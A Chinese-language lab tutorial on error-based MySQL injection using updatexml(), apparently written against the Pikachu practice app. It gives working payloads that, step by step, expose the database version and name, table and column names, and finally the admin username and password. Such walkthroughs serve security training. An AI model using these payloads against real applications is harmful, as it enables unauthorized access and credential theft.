SQL-Inject漏洞手动测试—基于函数报错的信息获取–select
基于函数报错的信息获取(select/insert/update/delete)
思路:
在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。select/insert/update/delete都可以使用报错来获取信息。前提是后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。
常用的报错函数:updatexml(), extractvalue(), floor()
updatexml(): MySQL对XML文档数据进行查询和修改的XPATH函数;
extractvalue(): MySQL对XML文档数据进行查询的XPATH函数;
floor(): MySQL中用来取整的函数;
基于报错的信息获取—updatexml()
- updatexml():改变(查找并替换)xml文档中符合条件的节点的值;
语法:UPDATEXML(xml_document, XPathstring, new_value);
第一个参数:XML文档名称,是String格式,为表名中的字段;
第二个参数:XPathstring(Xpath格式的字符串);
第三个参数:new_value, String格式,替换查找到的符合条件的值;
(Xpath定位必须有效,否则发生错误)
实验步骤:
-
确定是否有错误信息返回:
有报错返回到前端,因此符合条件; -
用updatexml()构造payload使其报错:
aaaa’ and updatexml(1, version(), 0)# (表的字段名称,xpath指定替换的位置,被用于替换的值)这三个值都不存在,但其关键在于version():
数据库报错并没有完全将版本信息输出,因为测试人员要对报出的内容进行处理,否则会将部分内容过滤。 -
对payload进行修改:
aaaa’ and updatexml(1, concat(0x7e, version()), 0)#
concat: 将传入的参数组合成完整的字符串并打印;也可以执行表达式,即将前面字符串和后面表达式执行结果构成字符串拼起来。
0x7e: ~(此处也可以用其他符号的十六进制,主要是为了信息不被过滤)
-
可将version()替换成database(),即可查看数据库名:
aaaa’ and updatexml(1, concat(0x7e, database()), 0)#
-
可以将database()换成select查询语句:
aaaa’ and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=‘pikachu’)), 0)#
错误提示为返回的数据多余一行,即,返回的内容有多行的情况下,就不会显示; -
加上limit 0, 1, 让其只显示一行, 来获取表名
aaaa’ and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0, 1)), 0)#
获取到第一个表的名称;
依次类推可以获取第2,3…张表
aaaa’ and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=‘pikachu’ limit 1, 1)), 0)#
aaaa’ and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=‘pikachu’ limit 2, 1)), 0)#
aaaa’ and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=‘pikachu’ limit 3, 1)), 0)#
-
获取了表名之后,同理获取列名:
aaaa’ and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name=‘member’ limit 0, 1)), 0)#
aaaa’ and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name=‘member’ limit 1, 1)), 0)#
-
构造select语句,获取用户名称:
aaaa’ and updatexml(1, concat(0x7e, (select username from users limit 0, 1)), 0)#
-
获取到admin后,再获取admin的密码:
aaaa’ and updatexml(1, concat(0x7e, (select password from users where username=‘admin’ limit 0, 1)), 0)#